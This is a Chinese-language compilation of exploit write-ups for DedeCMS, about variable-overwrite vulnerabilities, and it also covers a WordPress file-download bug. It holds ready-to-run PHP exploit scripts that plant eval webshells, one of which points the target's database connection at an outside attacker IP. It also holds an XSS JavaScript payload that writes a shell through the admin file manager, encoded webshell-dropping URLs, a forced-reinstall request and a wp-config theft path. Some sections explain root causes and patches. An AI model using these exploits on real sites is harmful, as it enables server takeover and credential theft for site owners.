下面是小编给大家带来关于一个dedecms变量覆盖漏洞的猥琐利用方法漏洞预警(共含10篇),一起来看看吧,希望对您有所帮助。同时,但愿您也能像本文投稿人“off”一样,积极向本站投稿分享好文章。
最近的那个dedecms变量覆盖漏洞,最后可以控制全局变量,但不能完全控制
$GLOBALS[$v1] .= $v2;
注意这里是递加的,是在已初始化的全局变量内容上再递加内容,
现在已公开的漏洞利用方法是控制cfg_dbprefix全局变量里的数据库表前缀,然后再用ExecuteNoneQuery2点进行SQL注入。不过这个点只能update,要直接GET WEBSHELL,需要mytag表中已经有记录,再update normbody字段的内容,利用dedecms的缓存机制GET WEBSHELL。如果dedecms默认这个表是空的,或者缓存已经生成过占了坑,就没办法GET WEBSHELL了!
除开这个方法,还有另外一个利用方法,假设原有程序的全局变量是$GLOBALS['cfg_dbhost']= 'locahost',变量内容是递加,那么我们能控制cfg_dbhost为locahost.80sec.com,把原有的cfg_dbhost变成连向我们的子域名locahost.80sec.com,
类似:
plus/mytag_js.php?aid=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=104&arrs1[]=111&arrs1[]=115&arrs1[]=116&arrs2[]=46&arrs2[]=56&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=99&arrs2[]=111&arrs2[]=109 $v1=cfg_dbhost$v2=.80sec.com
不过这个要大规模利用,成本就有稍微点高了:
1.需要一台泛解析域名的服务器
弄成泛解析域名是为了能大规模自动化攻击,可以让程序连任意的子域名*.xx.com,都能反连到我们的mysql。
2.需要patch mysql
可以修改一下mysql源代码,整成任意用户名和密码都能登陆,类似于cve--2122那个漏洞的效果。
再让数据库怎么连怎么查都强制返回dedecms mytag表中含有PHP代码的记录,这个就需要修改源代码里的 mysql_query函数了。
最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞,有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过
本文c4rp3nt3r@0x50sec.org
写于5月
DedeCMS 任意变量覆盖漏洞的利用
Dedecms的变量覆盖漏洞总结
1.在magic_quotes_gpc=Off时
common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes,而是对一维数组的$$key进行了addslashes,导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎,
2.common.inc.php
//检查和注册外部提交的变量,此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量
我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据,创建是在检查之后的也就绕过了检查,创建出来之后,程序又将其注册成了变量。
3.filter.inc.php
这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量。
1.在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤!
xxx.php?site=c4rp3nt3r’s blog
经过common.inc.php
$c4rp3nt3r=c4rp3nt3r’s blog
经过filter.inc.php
$c4rp3nt3r=c4rp3nt3r’s blog
2.创建系统变量
程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞。
common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞。
但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是没法覆盖~~~
但是好玩的是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。
在/member目录的大部分文件都包含这么一个文件/member/config.php
这个文件的前两句就是
require_once(dirname(__FILE__).’/../include/common.inc.php’);
require_once(DEDEINC.’/filter.inc.php’);
就是说/member目录的大部分文件都受此漏洞影响可以覆盖系统变量。
其他目录的文件也不一定就是安全的,可以触发系统变量未初始化漏洞。
有两种利用方法
1.依赖于common.inc.php的变量创建和filter.inc.php的变量覆盖
//magic_quote_gpc=Off
我们提交
xxx.php?_GET[cfg_xx]=c4rp3nt3r’s blog
经过common.inc.php
$_GET[cfg_xx]=c4rp3nt3r’s blog
经过filter.inc.php
$cfg_xx=c4rp3nt3r’s blog
2.依赖于common.inc.php的变量创建
提交
xxx.php?_POST[cfg_xx]=c4rp3nt3r’s blog
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v) //此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量
{
if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)’,$_k) ) //$_k=’_POST[cfg_xx]‘;绕过了正则
{
exit(‘Request var not allow!’);
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc)
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array(‘_GET’,'_POST’,'_COOKIE’) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
//如果提交xxx.php?_GET[cfg_xx]=c4rp3nt3r’s blog
//仅仅创建了$_GET[cfg_xx]但是第一次的循环$_GET已经执行完了,只能利用filter.inc.php的foreach循环变量覆盖来创建了
//如果我们提交xxx.php?_POST[cfg_xx]=c4rp3nt3r’s blog
//第一次执行$_GET循环后才创建出$_POST[cfg_xx],就不会进入上面的正则检查
//但是下一次进行$_POST循环时候正好注册我们的变量$cfg_xx=c4rp3nt3r’s blog
利用条件是webserver要求是存在apache解析漏洞和install文件夹存在,
利用截图:
Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:
1$verMsg = ' V5.7 GBKSP1';
2$s_lang = 'gb2312';
3$dfDbname = 'dedecmsv57gbksp1';
4$errmsg = '';
5$install_demo_name = 'dedev57demo.txt';
6$insLockfile = dirname(__FILE__).'/install_lock.txt';
7$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
8
9define('DEDEINC',dirname(__FILE__).'/../include');
10define('DEDEDATA',dirname(__FILE__).'/../data');
11define('DEDEROOT',preg_replace(“#[\\/]install#”, '', dirname(__FILE__)));
12header(“Content-Type: text/html; charset={$s_lang}”);
13
14require_once(DEDEROOT.'/install/install.inc.php');
15require_once(DEDEINC.'/zip.class.php');
16
17foreach(Array('_GET','_POST','_COOKIE') as $_request)
18{
19foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
20}
21
22require_once(DEDEINC.'/common.func.php');
23
24if(file_exists($insLockfile))
25{
26exit(“ 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!”);
27}
28
29if(empty($step))
30{
31$step = 1;
32}
其中$insLockfile = dirname(__FILE__).’/install_lock.txt’;是安装锁文件,
在下面的
1if(file_exists($insLockfile))
2{
3exit(“ 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!”);
4}
这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。
1foreach(Array('_GET','_POST','_COOKIE') as $_request)
2{
3foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
4}
这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL
www.localhost.com/install/index.php.bak?insLockfile=1&step=4
就OK了
POST数据:
1step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms
其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下
重装了。。。。我是良民
批量EXP就不写了,要玩的自己搞吧,exp google搜索批量,估计dedecms的站要废一大半。
原文:www.cnseay.com/2956/
DEDECMS全局变量覆盖漏洞最早是狼族安全小组公布的,官方硬撑到现在没修补漏洞,到现在基本上覆盖了DEDECMS全部的版本,个人猜想是不是官方故意留下的后门。下面稍微科普下这个漏洞,大牛们可以完全无视:
一. 了解PHP超级全局变量
下面是PHP的超级全局变量,可以了解一个特性,全是数组。
$GLOBALS, 所有全局变量数组
$_SERVER, 服务器环境变量数组
$_GET,通过GET方法传递给脚本的变量数组
$_POST, 通过POST方法传递给脚本的变量数组
$_COOKIE,cookie变量数组
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
$_FILES,与文件上传相关得变量数组
$_ENV,环境变量数组
$_SESSION,会话变量数组
二. 理解$_GET变量
可以写个PHP来看看:
var_dump($_GET);
?>
访问
www.okadwin.com /test.php?key=value
得到
array(1) { [“key”]=> string(5) “value” }
OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。
再访问
www.okadwin.com/test.php?key[arr1]=value
得到
array(1) { [“key”]=> array(1) { [“arr1”]=> string(5) “value” } }
我们通过GET方法传入了一个嵌套数组。
到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!
三. 深入跟进DEDECMS全局变量注册漏洞
真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:
提交一个嵌套数组:
www.okadwin.com/test.php?_POST[GLOBALS][cfg_dbname]=X
array(1) { [“_POST”]=> array(1) { [“GLOBALS”]=> array(1) { [“cfg_dbname”]=> string(1) “X” } } }
假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY是_POST且是个数组,所以轻松绕过,
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}
接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!
四. 领悟漏洞后的修补
完全领悟这个漏洞后,就会知道怎么修补了。
1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
exit('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
PS:安全就是基础,必须理解好基础。
#!usr/bin/php -w
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.com www.webvul.com
);
echo “rn”;
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
exit;
}
$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,“OK”)>12){
echo “[*] Exploit Success n”;
if($aid==1)echo “[*] Shell:”.$url.“/$path/data/cache/fuck.phpn” ;
if($aid==2)echo “[*] Shell:”.$url.“/$path/fuck.phpn” ;
if($aid==3)echo “[*] Shell:”.$url.“/$path/plus/fuck.phpn”;
}else{
echo “[*] Exploit Failed n”;
}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port=“80”;
$content =“doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB”;
$data = “POST /$path/plus/mytag_js.php?aid=”.$id.“ HTTP/1.1rn”;
$data .= “Host: ”.$host.“rn”;
$data .= “User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/0101 Firefox/5.0.1rn”;
$data .= “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn”;
$data .= “Accept-Language: zh-cn,zh;q=0.5rn”;
//$data .= “Accept-Encoding: gzip,deflatern”;
$data .= “Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7rn”;
$data .= “Connection: keep-alivern”;
$data .= “Content-Type: application/x-www-form-urlencodedrn”;
$data .= “Content-Length: ”.strlen($content).“rnrn”;
$data .= $content.“rn”;
$ock=fsockopen($host,$port);
if (!$ock) {
echo “[*] No response from ”.$host.“n”;
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
}
?>
from:sebug
最近确实很忙,很久不更新博客了,
dedecms的漏洞很多,但是厂商都是不做修复。
之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。
后台可触发xss
利用js代码
01var request = false;
02if(window.XMLHttpRequest) {
03request = new XMLHttpRequest;
04if(request.overrideMimeType) {
05request.overrideMimeType('text/xml');
06}
07} else if(window.ActiveXObject) {
08var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
09for(var i=0; i 10try { 11request = new ActiveXObject(versions[i]); 12} catch(e) {} 13} 14} 15xmlhttp=request; 16 17getshell(); 18function getshell(){ 19 20var postStr=“fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++”;//url需要自己修改 21 22xmlhttp.open(“POST”, “paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php”, true);//url需要自己修改 23xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”); 24xmlhttp.setRequestHeader(“Content-length”, postStr.length); 25xmlhttp.setRequestHeader(“Connection”, “close”); 26xmlhttp.send(postStr); 27}
触发前
触发后
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
if(substr($content,9,3)=='200'){
echo “nShell Address is:”.$host.$path.$shell;
}else{
echo “nError.”;
}
function get_send($url){
global $host, $path;
$message = “GET ”.$path.“$url HTTP/1.1rn”;
$message .= “Accept: */*rn”;
$message .= “Referer: $host$pathrn”;
$message .= “Accept-Language: zh-cnrn”;
$message .= “Content-Type: application/x-www-form-urlencodedrn”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;
$message .= “Host: $hostrn”;
$message .= “Connection: Closernrn”;
$fp = fsockopen($host, 80);
if(!$fp){
echo “nConnect to host Error”;
}
fputs($fp, $message);
$back = '';
while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
function post_send($url,$cmd){
global $host, $path;
$message = “POST ”.$path.“$url HTTP/1.1rn”;
$message .= “Accept: */*rn”;
$message .= “Referer: $host$pathrn”;
$message .= “Accept-Language: zh-cnrn”;
$message .= “Content-Type: application/x-www-form-urlencodedrn”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn”;
$message .= “Host: $hostrn”;
$message .= “Content-Length: ”.strlen($cmd).“rn”;
$message .= “Connection: Closernrn”;
$message .= $cmd;
$fp = fsockopen($host, 80);
if(!$fp){
echo “nConnect to host Error”;
}
fputs($fp, $message);
$back = '';
while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
?>
利用方法
复制代码
xxx.com//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>
复制代码
xxx.com/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace
在data/cache下生成c.php
includeinc_bookfunctions.php
---------------------------------------------------
……
function WriteBookText($cid,$body)
{
global $cfg_cmspath,$cfg_basedir;
$ipath = $cfg_cmspath.“/data/textdata”;
$tpath = ceil($cid/5000);
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS['cfg_dir_purview']);
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.'/'.$tpath,$GLOBALS['cfg_dir_purview']);
$bookfile = $cfg_basedir.$ipath.“/{$tpath}/bk{$cid}.php”;
$body = “<”.“?phprn”.$body.“rn?”.“>”;
@$fp = fopen($bookfile,'w');
@flock($fp);
@fwrite($fp,$body);
@fclose($fp);
}
……
漏洞详解:packetstormsecurity.com/files/121637/WordPress-wp-FileManager-File-Download.html
查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL,
WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警
,
今天看到mr_xhming同学一个文章/Article/200905/38567.html,发现这个老BUG还没被修补的样子,从内部论坛转一个pp出来,欢迎大家拍砖
DedeCMSV53任意变量覆盖漏洞
BY flyh4t
www.wolvez.org
2008-12-12
DedeCMSV53发布了,但是依旧没有将变量覆盖漏洞彻底修补,这个漏洞和ryat那个很相似 :)
看核心文件include/common.inc.php中的代码
PHP代码
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(_|cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )//程序员逻辑混乱了?
{
exit('Request var not allow!');
}
}
这个地方可以通过提交_COOKIE变量绕过cfg_等关键字的过滤
接着是注册变量的代码
PHP代码
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
然后初始化变量
//数据库配置文件
require_once(DEDEDATA.'/common.inc.php');
//系统配置参数
require_once(DEDEDATA.“/config.cache.inc.php”);看似不能利用了,但是幸运的是在文件最后有这样一段代码
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}再看uploadsafe.inc.php给我们提供了什么
PHP代码
$keyarr = array('name','type','tmp_name','size');
foreach($_FILES as $_key=>$_value)
{
foreach($keyarr as $k)
{
if(!isset($_FILES[$_key][$k]))
{
exit('Request Error!');
}
}
$$_key = $_FILES[$_key]['tmp_name'] = str_replace(“\\”,“\”,$_FILES[$_key]['tmp_name']);
//注意这个地方,通过common.inc.php的漏洞,我们是可以控制$_FILES[$_key]['tmp_name'] 的
这里通过提交类似common.inc.php?_FILES[cfg_xxxx][tmp_name] =aaaaaa&……来覆盖cfg_xxxx
利用的时候注意给cookie赋值,同时要绕过uploadsafe.inc.php里面的一些判断
★ dedecms 5.7 edit.inc.php文件注射漏洞预警